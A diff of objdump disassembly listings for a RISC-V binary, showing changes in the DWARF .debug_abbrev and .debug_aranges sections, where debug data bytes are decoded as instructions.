+ 3f4:	0300                	addi	s0,sp,384
+ 3f6:	3a0e                	fld	fs4,224(sp)
+ 3f8:	390b3b0b          	0x390b3b0b
+ 3fc:	3813490b          	0x3813490b
+ 400:	0a00000b          	0xa00000b
+ 404:	0104                	addi	s1,sp,128
+ 406:	0b3e0e03          	lb	t3,179(t3) # 60b3 <__stack_size+0x58b3>
+ 40a:	13490b0b          	0x13490b0b
+ 40e:	0b3a                	slli	s6,s6,0xe
+ 410:	0b390b3b          	0xb390b3b
+ 414:	1301                	addi	t1,t1,-32
+ 416:	0000                	unimp
+ 418:	0300280b          	0x300280b
+ 41c:	1c0e                	slli	s8,s8,0x23
+ 41e:	0c00000b          	0xc00000b
+ 422:	0034                	addi	a3,sp,8
+ 424:	0b3a0e03          	lb	t3,179(s4)
+ 428:	0b390b3b          	0xb390b3b
+ 42c:	1349                	addi	t1,t1,-14
+ 42e:	0000                	unimp
+ 430:	2e0d                	jal	762 <__stack_size-0x9e>
+ 432:	3f01                	jal	342 <__stack_size-0x4be>
+ 434:	0319                	addi	t1,t1,6
+ 436:	3a0e                	fld	fs4,224(sp)
+ 438:	390b3b0b          	0x390b3b0b
+ 43c:	4919270b          	0x4919270b
+ 440:	12011113          	0x12011113
+ 444:	4006                	0x4006
+ 446:	9718                	0x9718
+ 448:	1942                	slli	s2,s2,0x30
+ 44a:	1301                	addi	t1,t1,-32
+ 44c:	0000                	unimp
+ 44e:	050e                	slli	a0,a0,0x3
+ 450:	0300                	addi	s0,sp,384
+ 452:	3a08                	fld	fa0,48(a2)
+ 454:	390b3b0b          	0x390b3b0b
+ 458:	0213490b          	0x213490b
+ 45c:	0f000017          	auipc	zero,0xf000
+ 460:	0005                	c.nop	1
+ 462:	0b3a0e03          	lb	t3,179(s4)
+ 466:	0b390b3b          	0xb390b3b
+ 46a:	1349                	addi	t1,t1,-14
+ 46c:	1702                	slli	a4,a4,0x20
+ 46e:	0000                	unimp
+ 470:	3410                	fld	fa2,40(s0)
+ 472:	0300                	addi	s0,sp,384
+ 474:	3a08                	fld	fa0,48(a2)
+ 476:	390b3b0b          	0x390b3b0b
+ 47a:	0213490b          	0x213490b
+ 47e:	11000017          	auipc	zero,0x11000
+ 482:	0034                	addi	a3,sp,8
+ 484:	0b3a0e03          	lb	t3,179(s4)
+ 488:	0b390b3b          	0xb390b3b
+ 48c:	1349                	addi	t1,t1,-14
+ 48e:	1702                	slli	a4,a4,0x20
+ 490:	0000                	unimp
+ 492:	0b12                	slli	s6,s6,0x4
+ 494:	1101                	addi	sp,sp,-32
+ 496:	1201                	addi	tp,tp,-32
+ 498:	0106                	slli	sp,sp,0x1
+ 49a:	13000013          	li	zero,304
+ 49e:	1755010b          	0x1755010b
+ 4a2:	0000                	unimp
+ 4a4:	3414                	fld	fa3,40(s0)
+ 4a6:	0300                	addi	s0,sp,384
+ 4a8:	3a08                	fld	fa0,48(a2)
+ 4aa:	390b3b0b          	0x390b3b0b
+ 4ae:	0213490b          	0x213490b
+ 4b2:	0018                	0x18
+ 4b4:	1500                	addi	s0,sp,672
+ 4b6:	8289                	srli	a3,a3,0x2
+ 4b8:	0101                	addi	sp,sp,0
+ 4ba:	0111                	addi	sp,sp,4
+ 4bc:	1331                	addi	t1,t1,-20
+ 4be:	1301                	addi	t1,t1,-32
+ 4c0:	0000                	unimp
+ 4c2:	8a16                	mv	s4,t0
+ 4c4:	0182                	c.slli64	gp
+ 4c6:	0200                	addi	s0,sp,256
+ 4c8:	9118                	0x9118
+ 4ca:	1842                	slli	a6,a6,0x30
+ 4cc:	0000                	unimp
+ 4ce:	01828917          	auipc	s2,0x1828
+ 4d2:	1101                	addi	sp,sp,-32
+ 4d4:	3101                	jal	d4 <__stack_size-0x72c>
+ 4d6:	18000013          	li	zero,384
+ 4da:	1755010b          	0x1755010b
+ 4de:	1301                	addi	t1,t1,-32
+ 4e0:	0000                	unimp
+ 4e2:	3419                	jal	fffffee8 <_heap_end+0x7fff16e8>
+ 4e4:	0300                	addi	s0,sp,384
+ 4e6:	3a0e                	fld	fs4,224(sp)
+ 4e8:	390b3b0b          	0x390b3b0b
+ 4ec:	0213490b          	0x213490b
+ 4f0:	0018                	0x18
+ 4f2:	1a00                	addi	s0,sp,304
+ 4f4:	0101                	addi	sp,sp,0
+ 4f6:	1349                	addi	t1,t1,-14
+ 4f8:	1301                	addi	t1,t1,-32
+ 4fa:	0000                	unimp
+ 4fc:	4900211b          	0x4900211b
+ 500:	000b2f13          	slti	t5,s6,0
+ 504:	1c00                	addi	s0,sp,560
+ 506:	0034                	addi	a3,sp,8
+ 508:	0b3a0803          	lb	a6,179(s4)
+ 50c:	0b390b3b          	0xb390b3b
+ 510:	1349                	addi	t1,t1,-14
+ 512:	0000                	unimp
+ 514:	891d                	andi	a0,a0,7
+ 516:	0182                	c.slli64	gp
+ 518:	1101                	addi	sp,sp,-32
+ 51a:	9501                	srai	a0,a0,0x20
+ 51c:	1942                	slli	s2,s2,0x30
+ 51e:	1331                	addi	t1,t1,-20
+ 520:	0000                	unimp
+ 522:	2e1e                	fld	ft8,448(sp)
+ 524:	3f01                	jal	434 <__stack_size-0x3cc>
+ 526:	0319                	addi	t1,t1,6
+ 528:	3a0e                	fld	fs4,224(sp)
+ 52a:	390b3b0b          	0x390b3b0b
+ 52e:	1119270b          	0x1119270b
+ 532:	1201                	addi	tp,tp,-32
+ 534:	4006                	0x4006
+ 536:	9718                	0x9718
+ 538:	1942                	slli	s2,s2,0x30
+ 53a:	1301                	addi	t1,t1,-32
+ 53c:	0000                	unimp
+ 53e:	041f 3e01 0b0b      	0xb0b3e01041f
+ 544:	3a13490b          	0x3a13490b
+ 548:	390b3b0b          	0x390b3b0b
+ 54c:	0013010b          	0x13010b
+ 550:	2000                	fld	fs0,0(s0)
+ 552:	002e                	c.slli	zero,0xb
+ 554:	193c193f 0e030e6e 	0xe030e6e193c193f
+ 55c:	0b3a                	slli	s6,s6,0xe
+ 55e:	0b390b3b          	0xb390b3b
+ 562:	0000                	unimp
+ 564:	2e21                	jal	87c <__stack_size+0x7c>
+ 566:	3f00                	fld	fs0,56(a4)
+ 568:	3c19                	jal	ffffff7e <_heap_end+0x7fff177e>
+ 56a:	6e19                	lui	t3,0x6
+ 56c:	030e                	slli	t1,t1,0x3
+ 56e:	3a0e                	fld	fs4,224(sp)
+ 570:	39053b0b          	0x39053b0b
+ 574:	0000000b          	0xb
+ 578:	1101                	addi	sp,sp,-32
+ 57a:	2501                	jal	b7a <__stack_size+0x37a>
+ 57c:	130e                	slli	t1,t1,0x23
+ 57e:	1b0e030b          	0x1b0e030b
+ 582:	550e                	lw	a0,224(sp)
+ 584:	10011117          	auipc	sp,0x10011
+ 588:	17429917          	auipc	s2,0x17429
+ 58c:	0000                	unimp
+ 58e:	1602                	slli	a2,a2,0x20
+ 590:	0300                	addi	s0,sp,384
+ 592:	3a0e                	fld	fs4,224(sp)
+ 594:	390b3b0b          	0x390b3b0b
+ 598:	0013490b          	0x13490b
+ 59c:	0300                	addi	s0,sp,384
+ 59e:	0024                	addi	s1,sp,8
+ 5a0:	0b3e0b0b          	0xb3e0b0b
+ 5a4:	00000e03          	lb	t3,0(zero) # 0 <__stack_size-0x800>
+ 5a8:	2404                	fld	fs1,8(s0)
+ 5aa:	0b00                	addi	s0,sp,400
+ 5ac:	030b3e0b          	0x30b3e0b
+ 5b0:	0008                	0x8
+ 5b2:	0500                	addi	s0,sp,640
+ 5b4:	0b0b000f          	0xb0b000f
+ 5b8:	0000                	unimp
+ 5ba:	0f06                	slli	t5,t5,0x1
+ 5bc:	0b00                	addi	s0,sp,400
  5be:	0013490b          	0x13490b
- 5c2:	0500                	addi	s0,sp,640
+ 5c2:	0700                	addi	s0,sp,896
  5c4:	0026                	c.slli	zero,0x9
  5c6:	1349                	addi	t1,t1,-14
  5c8:	0000                	unimp
- 5ca:	1306                	slli	t1,t1,0x21
- 5cc:	0301                	addi	t1,t1,0
- 5ce:	0b0e                	slli	s6,s6,0x3
- 5d0:	3b0b3a0b          	0x3b0b3a0b
- 5d4:	3905                	jal	204 <__stack_size-0x5fc>
- 5d6:	0013010b          	0x13010b
- 5da:	0700                	addi	s0,sp,896
- 5dc:	000d                	c.nop	3
- 5de:	0b3a0803          	lb	a6,179(s4)
- 5e2:	0b39053b          	0xb39053b
- 5e6:	1349                	addi	t1,t1,-14
- 5e8:	0b38                	addi	a4,sp,408
- 5ea:	0000                	unimp
- 5ec:	0d08                	addi	a0,sp,656
- 5ee:	0300                	addi	s0,sp,384
- 5f0:	3a0e                	fld	fs4,224(sp)
- 5f2:	39053b0b          	0x39053b0b
- 5f6:	3813490b          	0x3813490b
- 5fa:	0900000b          	0x900000b
- 5fe:	0b0b0117          	auipc	sp,0xb0b0
- 602:	0b3a                	slli	s6,s6,0xe
- 604:	0b39053b          	0xb39053b
- 608:	1301                	addi	t1,t1,-32
- 60a:	0000                	unimp
- 60c:	0d0a                	slli	s10,s10,0x2
- 60e:	0300                	addi	s0,sp,384
- 610:	3a08                	fld	fa0,48(a2)
- 612:	39053b0b          	0x39053b0b
- 616:	0013490b          	0x13490b
- 61a:	0b00                	addi	s0,sp,400
- 61c:	0016                	c.slli	zero,0x5
- 61e:	0b3a0e03          	lb	t3,179(s4)
- 622:	0b39053b          	0xb39053b
- 626:	1349                	addi	t1,t1,-14
- 628:	0000                	unimp
- 62a:	010c                	addi	a1,sp,128
- 62c:	4901                	li	s2,0
- 62e:	00130113          	addi	sp,t1,1
- 632:	0d00                	addi	s0,sp,656
- 634:	0021                	c.nop	8
- 636:	1349                	addi	t1,t1,-14
- 638:	00000b2f          	0xb2f
- 63c:	340e                	fld	fs0,224(sp)
- 63e:	0300                	addi	s0,sp,384
- 640:	3a0e                	fld	fs4,224(sp)
- 642:	39053b0b          	0x39053b0b
- 646:	3f13490b          	0x3f13490b
- 64a:	3c19                	jal	60 <__stack_size-0x7a0>
- 64c:	0019                	c.nop	6
- 64e:	0f00                	addi	s0,sp,912
- 650:	012e                	slli	sp,sp,0xb
- 652:	0e03193f 053b0b3a 	0x53b0b3a0e03193f
- 65a:	0b39                	addi	s6,s6,14
- 65c:	13491927          	0x13491927
- 660:	0111                	addi	sp,sp,4
- 662:	0612                	slli	a2,a2,0x4
- 664:	1840                	addi	s0,sp,52
- 666:	01194297          	auipc	t0,0x1194
- 66a:	10000013          	li	zero,256
- 66e:	0005                	c.nop	1
- 670:	0b3a0803          	lb	a6,179(s4)
- 674:	0b39053b          	0xb39053b
- 678:	1349                	addi	t1,t1,-14
- 67a:	1702                	slli	a4,a4,0x20
+ 5ca:	2608                	fld	fa0,8(a2)
+ 5cc:	0000                	unimp
+ 5ce:	0900                	addi	s0,sp,144
+ 5d0:	0e030113          	addi	sp,t1,224
+ 5d4:	0b3a0b0b          	0xb3a0b0b
+ 5d8:	0b390b3b          	0xb390b3b
+ 5dc:	1301                	addi	t1,t1,-32
+ 5de:	0000                	unimp
+ 5e0:	0d0a                	slli	s10,s10,0x2
+ 5e2:	0300                	addi	s0,sp,384
+ 5e4:	3a0e                	fld	fs4,224(sp)
+ 5e6:	390b3b0b          	0x390b3b0b
+ 5ea:	3813490b          	0x3813490b
+ 5ee:	0b00000b          	0xb00000b
+ 5f2:	0101                	addi	sp,sp,0
+ 5f4:	1349                	addi	t1,t1,-14
+ 5f6:	1301                	addi	t1,t1,-32
+ 5f8:	0000                	unimp
+ 5fa:	210c                	fld	fa1,0(a0)
+ 5fc:	4900                	lw	s0,16(a0)
+ 5fe:	000b2f13          	slti	t5,s6,0
+ 602:	0d00                	addi	s0,sp,656
+ 604:	012e                	slli	sp,sp,0xb
+ 606:	0e03193f 0b3b0b3a 	0xb3b0b3a0e03193f
+ 60e:	0b39                	addi	s6,s6,14
+ 610:	13491927          	0x13491927
+ 614:	0111                	addi	sp,sp,4
+ 616:	0612                	slli	a2,a2,0x4
+ 618:	1840                	addi	s0,sp,52
+ 61a:	01194297          	auipc	t0,0x1194
+ 61e:	0e000013          	li	zero,224
+ 622:	0005                	c.nop	1
+ 624:	0b3a0e03          	lb	t3,179(s4)
+ 628:	0b390b3b          	0xb390b3b
+ 62c:	1349                	addi	t1,t1,-14
+ 62e:	1702                	slli	a4,a4,0x20
+ 630:	0000                	unimp
+ 632:	0300050f          	0x300050f
+ 636:	3a08                	fld	fa0,48(a2)
+ 638:	390b3b0b          	0x390b3b0b
+ 63c:	0213490b          	0x213490b
+ 640:	10000017          	auipc	zero,0x10000
+ 644:	1755010b          	0x1755010b
+ 648:	1301                	addi	t1,t1,-32
+ 64a:	0000                	unimp
+ 64c:	3411                	jal	50 <__stack_size-0x7b0>
+ 64e:	0300                	addi	s0,sp,384
+ 650:	3a0e                	fld	fs4,224(sp)
+ 652:	390b3b0b          	0x390b3b0b
+ 656:	0013490b          	0x13490b
+ 65a:	1200                	addi	s0,sp,288
+ 65c:	1755010b          	0x1755010b
+ 660:	0000                	unimp
+ 662:	03003413          	sltiu	s0,zero,48
+ 666:	3a08                	fld	fa0,48(a2)
+ 668:	390b3b0b          	0x390b3b0b
+ 66c:	0213490b          	0x213490b
+ 670:	14000017          	auipc	zero,0x14000
+ 674:	8289                	srli	a3,a3,0x2
+ 676:	0101                	addi	sp,sp,0
+ 678:	0111                	addi	sp,sp,4
+ 67a:	1331                	addi	t1,t1,-20
  67c:	0000                	unimp
- 67e:	1d11                	addi	s10,s10,-28
- 680:	3101                	jal	280 <__stack_size-0x580>
- 682:	55015213          	0x55015213
- 686:	590b5817          	auipc	a6,0x590b5
- 68a:	5705                	li	a4,-31
- 68c:	1200000b          	0x1200000b
- 690:	0005                	c.nop	1
- 692:	1331                	addi	t1,t1,-20
- 694:	1702                	slli	a4,a4,0x20
- 696:	0000                	unimp
- 698:	55010b13          	addi	s6,sp,1360 # b0b0b4e <__stack_size+0xb0b034e>
- 69c:	14000017          	auipc	zero,0x14000
- 6a0:	0034                	addi	a3,sp,8
- 6a2:	1331                	addi	t1,t1,-20
- 6a4:	0000                	unimp
- 6a6:	3415                	jal	ca <__stack_size-0x736>
- 6a8:	3100                	fld	fs0,32(a0)
- 6aa:	00170213          	addi	tp,a4,1 # fffe7001 <_heap_end+0x7ffd8801>
- 6ae:	1600                	addi	s0,sp,800
- 6b0:	1331010b          	0x1331010b
- 6b4:	1755                	addi	a4,a4,-11
- 6b6:	1301                	addi	t1,t1,-32
- 6b8:	0000                	unimp
- 6ba:	31010b17          	auipc	s6,0x31010
- 6be:	12011113          	0x12011113
- 6c2:	0106                	slli	sp,sp,0x1
- 6c4:	18000013          	li	zero,384
- 6c8:	1331010b          	0x1331010b
- 6cc:	1755                	addi	a4,a4,-11
+ 67e:	8a15                	andi	a2,a2,5
+ 680:	0182                	c.slli64	gp
+ 682:	0200                	addi	s0,sp,256
+ 684:	9118                	0x9118
+ 686:	1842                	slli	a6,a6,0x30
+ 688:	0000                	unimp
+ 68a:	3416                	fld	fs0,352(sp)
+ 68c:	0300                	addi	s0,sp,384
+ 68e:	3a0e                	fld	fs4,224(sp)
+ 690:	390b3b0b          	0x390b3b0b
+ 694:	0213490b          	0x213490b
+ 698:	17000017          	auipc	zero,0x17000
+ 69c:	0005                	c.nop	1
+ 69e:	0b3a0803          	lb	a6,179(s4)
+ 6a2:	0b390b3b          	0xb390b3b
+ 6a6:	1349                	addi	t1,t1,-14
+ 6a8:	1802                	slli	a6,a6,0x20
+ 6aa:	0000                	unimp
+ 6ac:	3418                	fld	fa4,40(s0)
+ 6ae:	0300                	addi	s0,sp,384
+ 6b0:	3a0e                	fld	fs4,224(sp)
+ 6b2:	390b3b0b          	0x390b3b0b
+ 6b6:	3f13490b          	0x3f13490b
+ 6ba:	3c19                	jal	d0 <__stack_size-0x730>
+ 6bc:	0019                	c.nop	6
+ 6be:	1900                	addi	s0,sp,176
+ 6c0:	0034                	addi	a3,sp,8
+ 6c2:	0b3a0e03          	lb	t3,179(s4)
+ 6c6:	0b390b3b          	0xb390b3b
+ 6ca:	1349                	addi	t1,t1,-14
+ 6cc:	1802                	slli	a6,a6,0x20
  6ce:	0000                	unimp
- 6d0:	2e19                	jal	9e6 <__stack_size+0x1e6>
- 6d2:	0301                	addi	t1,t1,0
- 6d4:	3a0e                	fld	fs4,224(sp)
- 6d6:	39053b0b          	0x39053b0b
- 6da:	4919270b          	0x4919270b
- 6de:	010b2013          	slti	zero,s6,16
- 6e2:	1a000013          	li	zero,416
- 6e6:	0005                	c.nop	1
- 6e8:	0b3a0803          	lb	a6,179(s4)
- 6ec:	0b39053b          	0xb39053b
- 6f0:	1349                	addi	t1,t1,-14
- 6f2:	0000                	unimp
- 6f4:	0300341b          	0x300341b
- 6f8:	3a08                	fld	fa0,48(a2)
- 6fa:	39053b0b          	0x39053b0b
- 6fe:	0013490b          	0x13490b
- 702:	1c00                	addi	s0,sp,560
- 704:	1301010b          	0x1301010b
- 708:	0000                	unimp
- 70a:	341d                	jal	130 <__stack_size-0x6d0>
- 70c:	0300                	addi	s0,sp,384
- 70e:	3a0e                	fld	fs4,224(sp)
- 710:	39053b0b          	0x39053b0b
- 714:	0013490b          	0x13490b
- 718:	1e00                	addi	s0,sp,816
- 71a:	0000010b          	0x10b
- 71e:	0f1f 0b00 490b      	0x490b0b000f1f
- 724:	00000013          	nop
- 728:	1101                	addi	sp,sp,-32
- 72a:	2501                	jal	d2a <__stack_size+0x52a>
- 72c:	130e                	slli	t1,t1,0x23
- 72e:	1b0e030b          	0x1b0e030b
- 732:	100e                	c.slli	zero,0x23
- 734:	02000017          	auipc	zero,0x2000
- 738:	0024                	addi	s1,sp,8
- 73a:	0b3e0b0b          	0xb3e0b0b
- 73e:	00000803          	lb	a6,0(zero) # 0 <__stack_size-0x800>
- 742:	0b002403          	lw	s0,176(zero) # b0 <__stack_size-0x750>
- 746:	030b3e0b          	0x30b3e0b
- 74a:	000e                	c.slli	zero,0x3
- 74c:	0400                	addi	s0,sp,512
- 74e:	0016                	c.slli	zero,0x5
- 750:	0b3a0e03          	lb	t3,179(s4)
- 754:	0b390b3b          	0xb390b3b
- 758:	1349                	addi	t1,t1,-14
- 75a:	0000                	unimp
- 75c:	2605                	jal	a7c <__stack_size+0x27c>
- 75e:	4900                	lw	s0,16(a0)
- 760:	06000013          	li	zero,96
- 764:	0101                	addi	sp,sp,0
- 766:	1349                	addi	t1,t1,-14
- 768:	1301                	addi	t1,t1,-32
- 76a:	0000                	unimp
- 76c:	49002107          	flw	ft2,1168(zero) # 490 <__stack_size-0x370>
- 770:	000b2f13          	slti	t5,s6,0
- 774:	0800                	addi	s0,sp,16
- 776:	0034                	addi	a3,sp,8
- 778:	0b3a0e03          	lb	t3,179(s4)
- 77c:	0b39053b          	0xb39053b
- 780:	1349                	addi	t1,t1,-14
- 782:	193c193f 34090000 	0x34090000193c193f
- 78a:	4700                	lw	s0,8(a4)
- 78c:	3b0b3a13          	sltiu	s4,s6,944
- 790:	3905                	jal	3c0 <__stack_size-0x440>
- 792:	0018020b          	0x18020b
- 796:	0000                	unimp
- 798:	1101                	addi	sp,sp,-32
- 79a:	2501                	jal	d9a <__stack_size+0x59a>
- 79c:	130e                	slli	t1,t1,0x23
- 79e:	1b0e030b          	0x1b0e030b
- 7a2:	110e                	slli	sp,sp,0x23
- 7a4:	1201                	addi	tp,tp,-32
- 7a6:	1006                	c.slli	zero,0x21
- 7a8:	02000017          	auipc	zero,0x2000
- 7ac:	0024                	addi	s1,sp,8
- 7ae:	0b3e0b0b          	0xb3e0b0b
- 7b2:	00000e03          	lb	t3,0(zero) # 0 <__stack_size-0x800>
- 7b6:	0b002403          	lw	s0,176(zero) # b0 <__stack_size-0x750>
- 7ba:	030b3e0b          	0x30b3e0b
- 7be:	0008                	0x8
- 7c0:	0400                	addi	s0,sp,512
- 7c2:	0016                	c.slli	zero,0x5
- 7c4:	0b3a0e03          	lb	t3,179(s4)
- 7c8:	0b390b3b          	0xb390b3b
- 7cc:	1349                	addi	t1,t1,-14
- 7ce:	0000                	unimp
- 7d0:	2605                	jal	af0 <__stack_size+0x2f0>
- 7d2:	4900                	lw	s0,16(a0)
- 7d4:	06000013          	li	zero,96
- 7d8:	0e030113          	addi	sp,t1,224
- 7dc:	0b3a0b0b          	0xb3a0b0b
- 7e0:	0b39053b          	0xb39053b
- 7e4:	1301                	addi	t1,t1,-32
- 7e6:	0000                	unimp
- 7e8:	03000d07          	0x3000d07
- 7ec:	3a08                	fld	fa0,48(a2)
- 7ee:	39053b0b          	0x39053b0b
- 7f2:	3813490b          	0x3813490b
- 7f6:	0800000b          	0x800000b
- 7fa:	000d                	c.nop	3
- 7fc:	0b3a0e03          	lb	t3,179(s4)
- 800:	0b39053b          	0xb39053b
- 804:	1349                	addi	t1,t1,-14
- 806:	0b38                	addi	a4,sp,408
- 808:	0000                	unimp
- 80a:	1709                	addi	a4,a4,-30
- 80c:	0b01                	addi	s6,s6,0
- 80e:	3b0b3a0b          	0x3b0b3a0b
- 812:	3905                	jal	442 <__stack_size-0x3be>
- 814:	0013010b          	0x13010b
- 818:	0a00                	addi	s0,sp,272
- 81a:	000d                	c.nop	3
- 81c:	0b3a0803          	lb	a6,179(s4)
- 820:	0b39053b          	0xb39053b
- 824:	1349                	addi	t1,t1,-14
- 826:	0000                	unimp
- 828:	0300160b          	0x300160b
- 82c:	3a0e                	fld	fs4,224(sp)
- 82e:	39053b0b          	0x39053b0b
- 832:	0013490b          	0x13490b
- 836:	0c00                	addi	s0,sp,528
- 838:	0101                	addi	sp,sp,0
- 83a:	1349                	addi	t1,t1,-14
- 83c:	1301                	addi	t1,t1,-32
- 83e:	0000                	unimp
- 840:	210d                	jal	c62 <__stack_size+0x462>
- 842:	4900                	lw	s0,16(a0)
- 844:	000b2f13          	slti	t5,s6,0
- 848:	0e00                	addi	s0,sp,784
- 84a:	0034                	addi	a3,sp,8
- 84c:	0b3a0e03          	lb	t3,179(s4)
- 850:	0b39053b          	0xb39053b
- 854:	1349                	addi	t1,t1,-14
- 856:	193c193f 2e0f0000 	0x2e0f0000193c193f
- 85e:	3f01                	jal	76e <__stack_size-0x92>
- 860:	0319                	addi	t1,t1,6
- 862:	3a0e                	fld	fs4,224(sp)
- 864:	39053b0b          	0x39053b0b
- 868:	4919270b          	0x4919270b
- 86c:	12011113          	0x12011113
- 870:	4006                	0x4006
- 872:	9718                	0x9718
- 874:	1942                	slli	s2,s2,0x30
- 876:	1301                	addi	t1,t1,-32
- 878:	0000                	unimp
- 87a:	0510                	addi	a2,sp,640
- 87c:	0300                	addi	s0,sp,384
- 87e:	3a08                	fld	fa0,48(a2)
- 880:	39053b0b          	0x39053b0b
- 884:	0213490b          	0x213490b
- 888:	11000017          	auipc	zero,0x11000
- 88c:	0034                	addi	a3,sp,8
- 88e:	0b3a0803          	lb	a6,179(s4)
- 892:	0b39053b          	0xb39053b
- 896:	1349                	addi	t1,t1,-14
- 898:	1702                	slli	a4,a4,0x20
- 89a:	0000                	unimp
- 89c:	1d12                	slli	s10,s10,0x24
- 89e:	3101                	jal	49e <__stack_size-0x362>
- 8a0:	55015213          	0x55015213
- 8a4:	590b5817          	auipc	a6,0x590b5
- 8a8:	5705                	li	a4,-31
- 8aa:	1300000b          	0x1300000b
- 8ae:	0005                	c.nop	1
- 8b0:	1331                	addi	t1,t1,-20
- 8b2:	1702                	slli	a4,a4,0x20
- 8b4:	0000                	unimp
- 8b6:	0b14                	addi	a3,sp,400
- 8b8:	5501                	li	a0,-32
- 8ba:	15000017          	auipc	zero,0x15000
- 8be:	0034                	addi	a3,sp,8
- 8c0:	1331                	addi	t1,t1,-20
- 8c2:	0000                	unimp
- 8c4:	3416                	fld	fs0,352(sp)
- 8c6:	3100                	fld	fs0,32(a0)
- 8c8:	00170213          	addi	tp,a4,1
- 8cc:	1700                	addi	s0,sp,928
- 8ce:	1331010b          	0x1331010b
- 8d2:	1755                	addi	a4,a4,-11
- 8d4:	1301                	addi	t1,t1,-32
- 8d6:	0000                	unimp
- 8d8:	0b18                	addi	a4,sp,400
- 8da:	3101                	jal	4da <__stack_size-0x326>
- 8dc:	12011113          	0x12011113
- 8e0:	0106                	slli	sp,sp,0x1
- 8e2:	19000013          	li	zero,400
- 8e6:	1331010b          	0x1331010b
- 8ea:	0111                	addi	sp,sp,4
- 8ec:	0612                	slli	a2,a2,0x4
- 8ee:	0000                	unimp
- 8f0:	341a                	fld	fs0,416(sp)
- 8f2:	3100                	fld	fs0,32(a0)
- 8f4:	00180213          	addi	tp,a6,1 # 590b58a5 <_data_lma+0x38caf8c5>
- 8f8:	1b00                	addi	s0,sp,432
- 8fa:	012e                	slli	sp,sp,0xb
- 8fc:	0b3a0e03          	lb	t3,179(s4)
- 900:	0b39053b          	0xb39053b
- 904:	13491927          	0x13491927
- 908:	0b20                	addi	s0,sp,408
- 90a:	1301                	addi	t1,t1,-32
- 90c:	0000                	unimp
- 90e:	051c                	addi	a5,sp,640
- 910:	0300                	addi	s0,sp,384
- 912:	3a08                	fld	fa0,48(a2)
- 914:	39053b0b          	0x39053b0b
- 918:	0013490b          	0x13490b
- 91c:	1d00                	addi	s0,sp,688
- 91e:	0034                	addi	a3,sp,8
- 920:	0b3a0803          	lb	a6,179(s4)
- 924:	0b39053b          	0xb39053b
- 928:	1349                	addi	t1,t1,-14
- 92a:	0000                	unimp
- 92c:	0b1e                	slli	s6,s6,0x7
- 92e:	0101                	addi	sp,sp,0
- 930:	1f000013          	li	zero,496
- 934:	0034                	addi	a3,sp,8
- 936:	0b3a0e03          	lb	t3,179(s4)
- 93a:	0b39053b          	0xb39053b
- 93e:	1349                	addi	t1,t1,-14
- 940:	0000                	unimp
- 942:	0b20                	addi	s0,sp,408
- 944:	0001                	nop
- 946:	2100                	fld	fs0,0(a0)
- 948:	0b0b000f          	0xb0b000f
- 94c:	1349                	addi	t1,t1,-14
- 94e:	0000                	unimp
+ 6d0:	211a                	fld	ft2,384(sp)
+ 6d2:	0000                	unimp
+ 6d4:	1b00                	addi	s0,sp,432
+ 6d6:	002e                	c.slli	zero,0xb
+ 6d8:	193c193f 0e030e6e 	0xe030e6e193c193f
+ 6e0:	0b3a                	slli	s6,s6,0xe
+ 6e2:	0b390b3b          	0xb390b3b
+ 6e6:	0000                	unimp
 	...
 
 Disassembly of section .debug_aranges:
@@ -21249,7 +13397,7 @@ Disassembly of section .debug_aranges:
   14:	0070                	addi	a2,sp,12
 	...
   1e:	0000                	unimp
-  20:	005c                	addi	a5,sp,4
+  20:	0024                	addi	s1,sp,8
   22:	0000                	unimp
   24:	0002                	c.slli64	zero
   26:	0026                	c.slli	zero,0x9
@@ -21257,128 +13405,104 @@ Disassembly of section .debug_aranges:
   2a:	0004                	0x4
   2c:	0000                	unimp
   2e:	0000                	unimp
-  30:	19ac                	addi	a1,sp,248
+  30:	1a46                	slli	s4,s4,0x31
   32:	2040                	fld	fs0,128(s0)
-  34:	0012                	c.slli	zero,0x4
+  34:	02cc                	addi	a1,sp,324
   36:	0000                	unimp
-  38:	19be                	slli	s3,s3,0x2f
+  38:	189c                	addi	a5,sp,112
   3a:	2040                	fld	fs0,128(s0)
-  3c:	02cc                	addi	a1,sp,324
-  3e:	0000                	unimp
-  40:	1c8a                	slli	s9,s9,0x22
-  42:	2040                	fld	fs0,128(s0)
-  44:	017a                	slli	sp,sp,0x1e
+  3c:	01aa                	slli	gp,gp,0xa
+	...
   46:	0000                	unimp
-  48:	1e04                	addi	s1,sp,816
-  4a:	2040                	fld	fs0,128(s0)
-  4c:	0268                	addi	a0,sp,268
-  4e:	0000                	unimp
-  50:	206c                	fld	fa1,192(s0)
-  52:	2040                	fld	fs0,128(s0)
-  54:	015c                	addi	a5,sp,132
+  48:	003c                	addi	a5,sp,8
+  4a:	0000                	unimp
+  4c:	0002                	c.slli64	zero
+  4e:	08a5                	addi	a7,a7,9
+  50:	0000                	unimp
+  52:	0004                	0x4
+  54:	0000                	unimp
   56:	0000                	unimp
-  58:	21c8                	fld	fa0,128(a1)
+  58:	1d12                	slli	s10,s10,0x24
   5a:	2040                	fld	fs0,128(s0)
-  5c:	0124                	addi	s1,sp,136
+  5c:	0018                	0x18
   5e:	0000                	unimp
-  60:	22ec                	fld	fa1,192(a3)
+  60:	1d2a                	slli	s10,s10,0x2a
   62:	2040                	fld	fs0,128(s0)
-  64:	040c                	addi	a1,sp,512
+  64:	001a                	c.slli	zero,0x6
   66:	0000                	unimp
-  68:	26f8                	fld	fa4,200(a3)
+  68:	1d44                	addi	s1,sp,692
   6a:	2040                	fld	fs0,128(s0)
-  6c:	0424                	addi	s1,sp,520
+  6c:	0040                	addi	s0,sp,4
   6e:	0000                	unimp
-  70:	189c                	addi	a5,sp,112
+  70:	1d84                	addi	s1,sp,752
   72:	2040                	fld	fs0,128(s0)
-  74:	0110                	addi	a2,sp,128
+  74:	008c                	addi	a1,sp,64
+  76:	0000                	unimp
+  78:	1e10                	addi	a2,sp,816
+  7a:	2040                	fld	fs0,128(s0)
+  7c:	0054                	addi	a3,sp,4
 	...
-  7e:	0000                	unimp
-  80:	0054                	addi	a3,sp,4
-  82:	0000                	unimp
-  84:	0002                	c.slli64	zero
-  86:	1e0d                	addi	t3,t3,-29
-  88:	0000                	unimp
-  8a:	0004                	0x4
-  8c:	0000                	unimp
-  8e:	0000                	unimp
-  90:	2b1c                	fld	fa5,16(a4)
-  92:	2040                	fld	fs0,128(s0)
-  94:	0004                	0x4
-  96:	0000                	unimp
-  98:	2b20                	fld	fs0,80(a4)
-  9a:	2040                	fld	fs0,128(s0)
-  9c:	0008                	0x8
-  9e:	0000                	unimp
-  a0:	2b28                	fld	fa0,80(a4)
+  86:	0000                	unimp
+  88:	003c                	addi	a5,sp,8
+  8a:	0000                	unimp
